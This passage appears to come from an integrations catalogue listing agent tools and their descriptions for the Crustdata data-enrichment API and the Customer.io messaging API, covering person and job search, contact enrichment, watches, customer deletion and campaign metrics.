from the professional network at request time rather than from the index. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /job/professional_network/search/live POST /api/v1/crustdata/job/professional_network/search/live. Scopes: api. crustdata_post_job_search (write) — Search the indexed job-listing dataset with filters, sorts, field selection, aggregations and pagination -- what roles a set of companies is hiring for, where, and since when. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /job/search POST /api/v1/crustdata/job/search. Scopes: api. crustdata_post_job_search_autocomplete (write) — Suggest valid values for one `/job/search` field, so a filter is built from values the dataset actually holds. via POST /job/search/autocomplete POST /api/v1/crustdata/job/search/autocomplete. Scopes: api. crustdata_post_person_contact_enrich (write) — Look up business emails, personal emails and phone numbers for people named by professional-network profile URL or by business email -- exactly ONE identifier type per request -- optionally restricted to the contact tiers you want. The `verified` request mode costs extra per result. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /person/contact/enrich POST /api/v1/crustdata/person/contact/enrich. Scopes: api. crustdata_post_person_enrich (write) — Read full person profiles from the dataset by professional-network profile URL -- current and past roles, seniority, skills, education and the company each role belongs to -- one entry per identifier. Name `fields` to keep the response small: the unfiltered person record carries 235 response fields. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /person/enrich POST /api/v1/crustdata/person/enrich. Scopes: api. crustdata_post_person_professional_network_enrich_live (write) — Retrieve a person's profile from the professional network at request time, rather than from the indexed dataset. Same identifier types as the dataset enrich; slower and more expensive, and the right call when the profile changed more recently than the index. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /person/professional_network/enrich/live POST /api/v1/crustdata/person/professional_network/enrich/live. Scopes: api. crustdata_post_person_professional_network_search_live (write) — Run a person search against the professional network in real time, from `filters` plus a page number or by replaying a saved `professional_network_search_url`. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /person/professional_network/search/live POST /api/v1/crustdata/person/professional_network/search/live. Scopes: api. crustdata_post_person_search (write) — Search Crustdata's indexed person dataset with `filters` (optionally grouped with and/or), sorts, a result limit and cursor pagination. Build filter values with `crustdata_post_person_search_autocomplete`. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /person/search POST /api/v1/crustdata/person/search. Scopes: api. crustdata_post_person_search_autocomplete (write) — Suggest valid values for one `/person/search` filter field, so a filter is built from values the dataset actually holds. via POST /person/search/autocomplete POST /api/v1/crustdata/person/search/autocomplete. Scopes: api. crustdata_post_social_post_professional_network_enrich_live (write) — Read professional-network posts at request time for exactly ONE identifier: a person's profile URL, a single post URL, or a company (name, domain, Crustdata company id or professional-network URL). Either `page` or `limit` is required -- not both -- unless a `social_post_url` names a single post. Posts come back in a `posts` array. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /social_post/professional_network/enrich/live POST /api/v1/crustdata/social_post/professional_network/enrich/live. Scopes: api. crustdata_post_social_post_professional_network_search_live (write) — Search professional-network posts at request time by keyword, author and date rather than reading one author's feed. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /social_post/professional_network/search/live POST /api/v1/crustdata/social_post/professional_network/search/live. Scopes: api. crustdata_post_social_post_search (write) — Search Crustdata's indexed social-post dataset -- the cheaper, less fresh counterpart to the live post search. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. PLAN-GATED: this endpoint is an enterprise/plan entitlement, so an account without it is answered 403 with `error.type: permission_error` naming the endpoint. That is the account's tier, not a broken connection and not a bad key -- read `crustdata_get_account_endpoints` to see which endpoints this account may call. via POST /social_post/search POST /api/v1/crustdata/social_post/search. Scopes: api. crustdata_post_watch_by_dataset (write) — Create an entity watch on one dataset: `track` names the records to watch and `fields` the fields whose change should notify. The response also reports which of the identifiers you supplied could not be read. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /watch/{dataset} POST /api/v1/crustdata/watch/{dataset}. Scopes: api. crustdata_post_watch_by_dataset_by_watch_id_test (write) — Send a test notification for an existing entity watch and report what each channel answered, together with the exact envelope delivered. Every field is optional. via POST /watch/{dataset}/{watch_id}/test POST /api/v1/crustdata/watch/{dataset}/{watch_id}/test. Scopes: api. crustdata_post_watch_by_dataset_search (write) — Create a discovery watch on one dataset: a saved search that runs on a schedule and notifies the channels in `on` about entities that newly match. `filters` is required on an ordinary watch; on a realtime watch (`config.is_realtime: true`) `realtime_filters` is what it runs on and `filters` becomes optional. Preview one first with `crustdata_post_watch_by_dataset_search_by_watch_id_test` or by reading the create response's `can_create`. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /watch/{dataset}/search POST /api/v1/crustdata/watch/{dataset}/search. Scopes: api. crustdata_post_watch_by_dataset_search_by_watch_id_test (write) — Send a test notification for an existing discovery watch and report what each channel answered, together with the exact envelope delivered. Every field is optional, so an empty body is valid. via POST /watch/{dataset}/search/{watch_id}/test POST /api/v1/crustdata/watch/{dataset}/search/{watch_id}/test. Scopes: api. crustdata_post_watch_by_dataset_test (write) — Build a sample notification from an in-progress entity watch config WITHOUT saving anything -- the same `track` and `fields` a create would carry -- and report what each channel answered. via POST /watch/{dataset}/test POST /api/v1/crustdata/watch/{dataset}/test. Scopes: api. crustdata_post_web_enrich_live (write) — Fetch the content of one or more URLs, one result per URL requested. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /web/enrich/live POST /api/v1/crustdata/web/enrich/live. Scopes: api. crustdata_post_web_search_live (write) — Run a web search and get ranked results with their titles, URLs and snippets. SPENDS CREDITS: Crustdata charges per result returned, and premium fields, premium filters and premium request modes cost extra per result. `crustdata_get_account_endpoints` reports this account's own per-endpoint and per-field prices, and `crustdata_get_account_credits` its remaining balance. via POST /web/search/live POST /api/v1/crustdata/web/search/live. Scopes: api. ================================================================================ ## Customer.io URL: https://www.agenticfabriq.com/integrations/customerio Section: Integrated Tools Customer.io — 209 MCP tools Provider key: customerio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. customerio_delete_api_v1_customers_by_identifier (write, destructive) — Deleting a customer removes them, and all of their information, from Customer.io. NOTE: Calls that update customers by ID can also create a customer. If you send data to Customer.io through other means (like the Javascript snippet), after you delete a customer, you may accidentally recreate the customer. You cannot delete a customer using the Javascript snippet alone. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. DELETE /api/v1/customerio/api/v1/customers/{identifier}. Scopes: api. customerio_delete_api_v1_customers_by_identifier_devices_by_device_id (write, destructive) — Remove a device from a customer profile. If you continue sending data about a device to Customer.io, you may inadvertently re-add the device to the customer profile. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. DELETE /api/v1/customerio/api/v1/customers/{identifier}/devices/{device_id}. Scopes: api. customerio_delete_v1_assets_files_by_id (write, destructive) — Soft-deletes a file asset by setting its `deleted_at` timestamp. The underlying file in cloud storage is not removed. Assets that are currently in use cannot be deleted. DELETE /api/v1/customerio/v1/assets/files/{id}. Scopes: api. customerio_delete_v1_assets_folders_by_id (write, destructive) — Soft-deletes an empty folder. Folders that still contain files or subfolders cannot be deleted. Assets marked as in use also prevent deletion. DELETE /api/v1/customerio/v1/assets/folders/{id}. Scopes: api. customerio_delete_v1_collections_by_collection_id (write, destructive) — Remove a collection and associated contents. Before you delete a collection, make sure that you aren't referencing it in active automation messages or broadcasts; references to a deleted collection will appear empty and may prevent your messages from making sense to your audience. DELETE /api/v1/customerio/v1/collections/{collection_id}. Scopes: api. customerio_delete_v1_design_studio_components_by_id (write, destructive) — Delete a component. Note, this deletes any component. If you delete a component in use, the emails that reference it could fail to send. DELETE /api/v1/customerio/v1/design_studio/components/{id}. Scopes: api. customerio_delete_v1_design_studio_emails_by_id (write, destructive) — Delete an email. You cannot delete an email that is linked to a workflow (automation, broadcast, etc). This deletes the email and all translations. DELETE /api/v1/customerio/v1/design_studio/emails/{id}. Scopes: api. customerio_delete_v1_design_studio_emails_by_id_languages_by_language (write, destructive) — Delete a specific language translation from an email. This fails if the email is linked to a workflow (automation, broadcast, etc). DELETE /api/v1/customerio/v1/design_studio/emails/{id}/languages/{language}. Scopes: api. customerio_delete_v1_design_studio_emails_by_id_versions_by_version_id (write, destructive) — Deletes a version. You can't delete a version that Design Studio created automatically during a publish. DELETE /api/v1/customerio/v1/design_studio/emails/{id}/versions/{version_id}. Scopes: api. customerio_delete_v1_design_studio_folders_by_id (write, destructive) — Delete a folder including subfolders and all file (components, templates, and emails). You cannot delete a folder with emails used in your workflows (automations, broadcasts, etc). However, you can delete a folder with components that are referenced in emails linked to workflows, so make sure deleting a folder with components won't break your emails. DELETE /api/v1/customerio/v1/design_studio/folders/{id}. Scopes: api. customerio_delete_v1_esp_suppression_by_suppression_type_by_email_address (write, destructive) — Remove an address from the ESP's suppression list. DELETE /api/v1/customerio/v1/esp/suppression/{suppression_type}/{email_address}. Scopes: api. customerio_delete_v1_newsletters_by_newsletter_id (write, destructive) — Deletes an individual one-time send (referred to as a "newsletter" in our APIs), including content, settings, and metrics. It will be removed from segments, and its templates will no longer show in the Message Library. If it's an in-app message, this cancels any undelivered, in-app message, too. DELETE /api/v1/customerio/v1/newsletters/{newsletter_id}. Scopes: api. customerio_delete_v1_newsletters_by_newsletter_id_language_by_language (write, destructive) — Delete a specific language variant of a one-time send (referred to as a "newsletter" in our APIs). You cannot delete the default language variant. If it has already been sent, you cannot delete language variants. If it includes A/B tests, use Delete a translation in a one-time send test group (/integrations/api/app/tag/newsletter-variants/deleteNewsletterTestLanguageVariant/). DELETE /api/v1/customerio/v1/newsletters/{newsletter_id}/language/{language}. Scopes: api. customerio_delete_v1_newsletters_by_newsletter_id_test_group_by_test_group_id_language_by_language (write, destructive) — Delete a specific language variant of a one-time send (referred to as a "newsletter" in our APIs) in an A/B test group. You cannot delete the default language variant. If it has already been sent, you cannot delete language variants. You can retrieve a list of `test_group_ids` from List A/B test groups in a one-time send (/integrations/api/app/tag/newsletter-variants/getNewsletterTestGroups/). DELETE /api/v1/customerio/v1/newsletters/{newsletter_id}/test_group/{test_group_id}/language/{language}. Scopes: api. customerio_delete_v1_reporting_webhooks_by_webhook_id (write, destructive) — Delete a reporting webhook's configuration. DELETE /api/v1/customerio/v1/reporting_webhooks/{webhook_id}. Scopes: api. customerio_delete_v1_segments_by_segment_id (write, destructive) — Delete a manual segment. DELETE /api/v1/customerio/v1/segments/{segment_id}. Scopes: api. customerio_delete_v1_snippets_by_snippet_name (write, destructive) — Remove a snippet. You can only remove a snippet that is not in use. If your snippet is in use, you'll receive a `400` error. DELETE /api/v1/customerio/v1/snippets/{snippet_name}. Scopes: api. customerio_get_api_v1_accounts_region (read) — This endpoint returns the appropriate region and URL for your Track API credentials. Use it to determine the URLs you should use to successfully complete other requests. You can perform this operation against either of the track API regional URLs; it returns your region in either case. This endpoint also returns an `environment_id`, which represents the workspace the credentials are valid for. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. GET /api/v1/customerio/api/v1/accounts/region. Scopes: api. customerio_get_v1_activities (read) — This endpoint returns a list of "activities" for people, similar to your workspace's Activity Logs. This endpoint is guaranteed to return activity history within the past 30 days. It _might_ return data older than 30 days in some circumstances, but activites older than 30 days are not guaranteed. GET /api/v1/customerio/v1/activities. Scopes: api. customerio_get_v1_assets (read) — Returns a paginated list of file assets. Supports filtering by parent folder and choosing between direct children or the entire folder subtree. GET /api/v1/customerio/v1/assets. Scopes: api. customerio_get_v1_assets_files_by_id (read) — Retrieves a single file asset by its ID. Returns 404 if the asset does not exist or is a folder. GET /api/v1/customerio/v1/assets/files/{id}. Scopes: api. customerio_get_v1_assets_folders (read) — Returns a paginated list of asset folders. Supports filtering by parent folder and choosing between direct children or the entire folder subtree. GET /api/v1/customerio/v1/assets/folders. Scopes: api. customerio_get_v1_assets_folders_by_id (read) — Retrieves a single folder by its ID. GET /api/v1/customerio/v1/assets/folders/{id}. Scopes: api. customerio_get_v1_broadcasts (read) — Returns a list of your API-triggered broadcasts and associated metadata. GET /api/v1/customerio/v1/broadcasts. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id (read) — Returns metadata for an individual broadcast. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_actions (read) — Returns the actions that occur as a part of a broadcast. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_actions_by_action_id (read) — Returns information about a specific action within a broadcast. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions/{action_id}. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_actions_by_action_id_language_by_language (read) — Returns information about a translation of message in a broadcast. The message is identified by the `action_id`. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions/{action_id}/language/{language}. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_actions_by_action_id_metrics (read) — Returns a list of metrics for an individual action both in total and in `steps` (days, weeks, etc) over a period of time. Stepped `series` metrics return from oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. Multi-language messages If the action is a multi-language (/messaging/channels/localization/getting-started/) message, the response also includes a `language_variants` object with a breakdown for each language variant, keyed by the variant's action ID. In this case, `metric` is the *total* across every variant. If you sum metrics across all of a broadcast's actions, skip actions that return `language_variants` or you will count those messages twice—once in the multi-language action's total, and again in each variant's own action. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions/{action_id}/metrics. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_actions_by_action_id_metrics_links (read) — Returns link click metrics for an individual broadcast action. Unless you specify otherwise, the response contains data for the maximum period by days (45 days). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions/{action_id}/metrics/links. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_messages (read) — Returns information about the deliveries (instances of messages sent to individual people) sent from an API-triggered broadcast. Provide query parameters to refine the metrics you want to return. Use the `start_ts` and `end_ts` to find messages within a time range. If your request doesn't include `start_ts` and `end_ts` parameters, we'll return results for the 1 month period after the first trigger. If your `start_ts` and `end_ts` range is more than 12 months, we'll return 12 months of data from the most recent timestamp in your request. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/messages. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_metrics (read) — Returns a list of metrics for an individual broadcast in `steps` (days, weeks, etc). We return metrics from oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/metrics. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_metrics_links (read) — Returns metrics for link clicks within a broadcast, both in total and in `series` periods (days, weeks, etc). `series` metrics are ordered oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/metrics/links. Scopes: api. customerio_get_v1_broadcasts_by_broadcast_id_triggers (read) — Returns a list of the `triggers` for a broadcast. GET /api/v1/customerio/v1/broadcasts/{broadcast_id}/triggers. Scopes: api. customerio_get_v1_campaigns (read) — Returns a list of your automations and associated metadata. GET /api/v1/customerio/v1/campaigns. Scopes: api. customerio_get_v1_campaigns_by_broadcast_id_triggers_by_trigger_id (read) — After triggering a broadcast you can retrieve the status of that broadcast using a GET of the `trigger_id`. You can retrieve the `trigger_id` from Get broadcast triggers (/integrations/api/app/tag/broadcasts/listBroadcastTriggers/). GET /api/v1/customerio/v1/campaigns/{broadcast_id}/triggers/{trigger_id}. Scopes: api. customerio_get_v1_campaigns_by_broadcast_id_triggers_by_trigger_id_errors (read) — If your broadcast produced validation errors, this endpoint can help you better understand what went wrong. Broadcast errors are generally issues in your broadcast audience and associated. GET /api/v1/customerio/v1/campaigns/{broadcast_id}/triggers/{trigger_id}/errors. Scopes: api. customerio_get_v1_campaigns_by_campaign_id (read) — Returns metadata for an individual automation. GET /api/v1/customerio/v1/campaigns/{campaign_id}. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_actions (read) — Returns the operations in an automation workflow. Each object in the response represents an action or 'tile' in the automation builder. This endpoint returns up to 10 `actions` at a time. If there is another page of results, the response will include a `next` string. Pass this string as the `start` parameter to get the next page of results. GET /api/v1/customerio/v1/campaigns/{campaign_id}/actions. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_actions_by_action_id (read) — Returns information about a specific action in an automation. GET /api/v1/customerio/v1/campaigns/{campaign_id}/actions/{action_id}. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_actions_by_action_id_language_by_language (read) — Returns a translated version of a message in an automation. The message is identified by the `action_id`. GET /api/v1/customerio/v1/campaigns/{campaign_id}/actions/{action_id}/language/{language}. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_actions_by_action_id_metrics (read) — Returns metrics for an individual action, both in total and as a series of counts, oldest first—the 0-index of any result is the oldest point in the window. We recommend version 2. Send `version=2`. It accepts an explicit `start`, `end`, and `res`, reported in the `tz` you choose. Without it, the endpoint answers with version 1 behavior instead: a window built from `period` and `steps`, always in Eastern time. Version 1 can't return fewer than 2 steps of any period. `?period=days&steps=1` means two days—the 48 hours before the request—and `?period=days&steps=0` returns the maximum for the period, the same as `?period=days&steps=45`. Multi-language messages If the action is a multi-language (/messaging/channels/localization/getting-started/) message, the response also includes a `language_variants` object with a breakdown for each language variant, keyed by the variant's action ID. You get that breakdown whether you send `version=1` or `version=2`. In this case, `metric` is the *total* across every variant. If you sum metrics across all of an automation's actions, skip actions that return `language_variants` or you will count those messages twice—once in the multi-language action's total, and again in each variant's own action. GET /api/v1/customerio/v1/campaigns/{campaign_id}/actions/{action_id}/metrics. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_actions_by_action_id_metrics_links (read) — Returns link click metrics for an individual action. Unless you specify otherwise, the response contains data for the maximum period by days (45 days). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/campaigns/{campaign_id}/actions/{action_id}/metrics/links. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_journey_metrics (read) — Returns a list of Journey Metrics for your automation. These metrics show how many people triggered your automation, were messaged, etc for the time period and "resolution" you set. You must provide the `start`, `end`, and `resolution` parameters or your request will return `400`. Metrics in the response are arrays, and each index in the array corresponds to the `resolution` in your request. If you request metrics in `days`, the first result in each metric array is the first day of results and each successive increment represents another day. Each increment represents the number of journeys that started within a time period and eventually achieved a particular metric. For example, array index 0 for the `converted` metric represents the number of journeys that started on the first day/month of results that achieved a conversion. GET /api/v1/customerio/v1/campaigns/{campaign_id}/journey_metrics. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_messages (read) — Returns information about the deliveries (instances of messages sent to individual people) sent from an automation. Provide query parameters to refine the metrics you want to return. Use the `start_ts` and `end_ts` to find messages within a time range. If your request doesn't include `start_ts` and `end_ts` parameters, we'll return the most recent 6 months of messages. If your `start_ts` and `end_ts` range is more than 12 months, we'll return 12 months of data from the most recent timestamp in your request. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. GET /api/v1/customerio/v1/campaigns/{campaign_id}/messages. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_metrics (read) — Returns metrics for an individual automation as a series of counts, oldest first—the 0-index of any result is the oldest point in the window. We recommend version 2. Send `version=2`. It accepts an explicit `start`, `end`, and `res`, reported in the `tz` you choose. Without it, the endpoint answers with version 1 behavior instead: a window built from `period` and `steps`, always in Eastern time. Version 1 can't return fewer than 2 steps of any period. `?period=days&steps=1` means two days—the 48 hours before the request—and `?period=days&steps=0` returns the maximum for the period, the same as `?period=days&steps=45`. GET /api/v1/customerio/v1/campaigns/{campaign_id}/metrics. Scopes: api. customerio_get_v1_campaigns_by_campaign_id_metrics_links (read) — Returns metrics for link clicks within an automation, both in total and in `series` periods (days, weeks, etc). `series` metrics are ordered oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/campaigns/{campaign_id}/metrics/links. Scopes: api. customerio_get_v1_collections (read) — Returns a list of all of your collections, including the `name` and `schema` for each collection. GET /api/v1/customerio/v1/collections. Scopes: api. customerio_get_v1_collections_by_collection_id (read) — Retrieves details about a collection, including the `schema` and `name`. This request does not include the `content` of the collection (the values associated with keys in the schema). GET /api/v1/customerio/v1/collections/{collection_id}. Scopes: api. customerio_get_v1_collections_by_collection_id_content (read) — Retrieve the contents of a collection (the `data` from when you created or updated a collection). Each `row` in the collection is represented as a JSON blob in the response. GET /api/v1/customerio/v1/collections/{collection_id}/content. Scopes: api. customerio_get_v1_customers (read) — Return a list of people in your workspace matching an email address. If the email contains special characters like `+`, make sure you percent-encode (/integrations/api/customerio-apis/#url-encoding) them in the query parameter. For example, use `jane%2Bnotifications%40example.com` instead of `jane+notifications@example.com`. Unencoded special characters can return empty results without an error. GET /api/v1/customerio/v1/customers. Scopes: api. customerio_get_v1_customers_by_customer_id_activities (read) — Return a list of activities performed by, or for, a customer. Activities are things like attribute changes and message sends. This endpoint is guaranteed to return activity history within the past 30 days. It might return data older than 30 days in some circumstances, but activites older than 30 days are not guaranteed. GET /api/v1/customerio/v1/customers/{customer_id}/activities. Scopes: api. customerio_get_v1_customers_by_customer_id_attributes (read) — Return a list of attributes for a customer profile. You can use attributes to fashion segments or as liquid merge fields in your messages. GET /api/v1/customerio/v1/customers/{customer_id}/attributes. Scopes: api. customerio_get_v1_customers_by_customer_id_messages (read) — Returns information about the deliveries sent to a person. Provide query parameters to refine the data you want to return. Use the `start_ts` and `end_ts` to find messages within a time range. If your request doesn't include `start_ts` and `end_ts` parameters, we'll return the most recent 6 months of messages. If your `start_ts` and `end_ts` range is more than 6 months, we'll return 6 months of data from the most recent timestamp in your request. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. GET /api/v1/customerio/v1/customers/{customer_id}/messages. Scopes: api. customerio_get_v1_customers_by_customer_id_optouts (read) — Return a list of the senders and channels that a person has opted out of, across all channels. An entry's presence in the `optouts` array means the person is opted out of that sender/channel. Use the `PUT /v1/customers/{customer_id}/optouts` (/integrations/api/app/tag/opt-outs/updatePersonOptouts/) endpoint to opt a person out of, or back in to, specific senders. GET /api/v1/customerio/v1/customers/{customer_id}/optouts. Scopes: api. customerio_get_v1_customers_by_customer_id_relationships (read) — Return a list of objects that a person is related to. You can use the `start` parameter with the `next` property in responses to return pages of results. However, it's possible that you'll see duplicate entries across pages. If you want to export objects or relationships, you may want to use the export feature in our UI to return complete results. GET /api/v1/customerio/v1/customers/{customer_id}/relationships. Scopes: api. customerio_get_v1_customers_by_customer_id_segments (read) — Returns a list of segments that a customer profile belongs to. GET /api/v1/customerio/v1/customers/{customer_id}/segments. Scopes: api. customerio_get_v1_customers_by_customer_id_subscription_preferences (read) — Returns a list of subscription preferences for a person, including the custom header of the subscription preferences page, topic names, and topic descriptions. Returns translated data when you send a language in the query. GET /api/v1/customerio/v1/customers/{customer_id}/subscription_preferences. Scopes: api. customerio_get_v1_design_studio_components (read) — Returns a paginated list of components and any folders in the result set. GET /api/v1/customerio/v1/design_studio/components. Scopes: api. customerio_get_v1_design_studio_components_by_id (read) — Returns a single component with its full content. GET /api/v1/customerio/v1/design_studio/components/{id}. Scopes: api. customerio_get_v1_design_studio_emails (read) — Returns a paginated list of emails and a separate array of folders that the emails belong to. GET /api/v1/customerio/v1/design_studio/emails. Scopes: api. customerio_get_v1_design_studio_emails_by_id (read) — Returns a single email including content, envelope details, and transformers. This endpoint returns only default emails; see Email translations (/integrations/api/app/tag/design-studio-emails/createEmailTranslation/) to access language variants. GET /api/v1/customerio/v1/design_studio/emails/{id}. Scopes: api. customerio_get_v1_design_studio_emails_by_id_inbox_previews_by_run_id (read) — Returns the status of a preview job submitted with Send for inbox previews (/integrations/api/app/tag/design-studio-emails/submitInboxPreview/), including each preview's settings. GET /api/v1/customerio/v1/design_studio/emails/{id}/inbox_previews/{run_id}. Scopes: api. customerio_get_v1_design_studio_emails_by_id_languages (read) — Returns all translations for an email. Each translation contains the email's content, envelope, and transformers for a specific language. GET /api/v1/customerio/v1/design_studio/emails/{id}/languages. Scopes: api. customerio_get_v1_design_studio_emails_by_id_languages_by_language (read) — Returns a single email translation by language code, including content, envelope, and transformers. GET /api/v1/customerio/v1/design_studio/emails/{id}/languages/{language}. Scopes: api. customerio_get_v1_design_studio_emails_by_id_publish_status (read) — Check the status of a multi-language publish that returned `"status": "pending"`. Pass the `publish_id` from the Publish an email (/integrations/api/app/tag/design-studio-emails/publishEmail/) response. When the publish is still running, the response returns `"status": "pending"`; when it finishes, it returns `"status": "done"` with the template version mappings. If the publish fails, this endpoint returns an error rather than a status. You get the same error a single-language publish returns inline—a `422` for liquid errors, a `409` when the destination 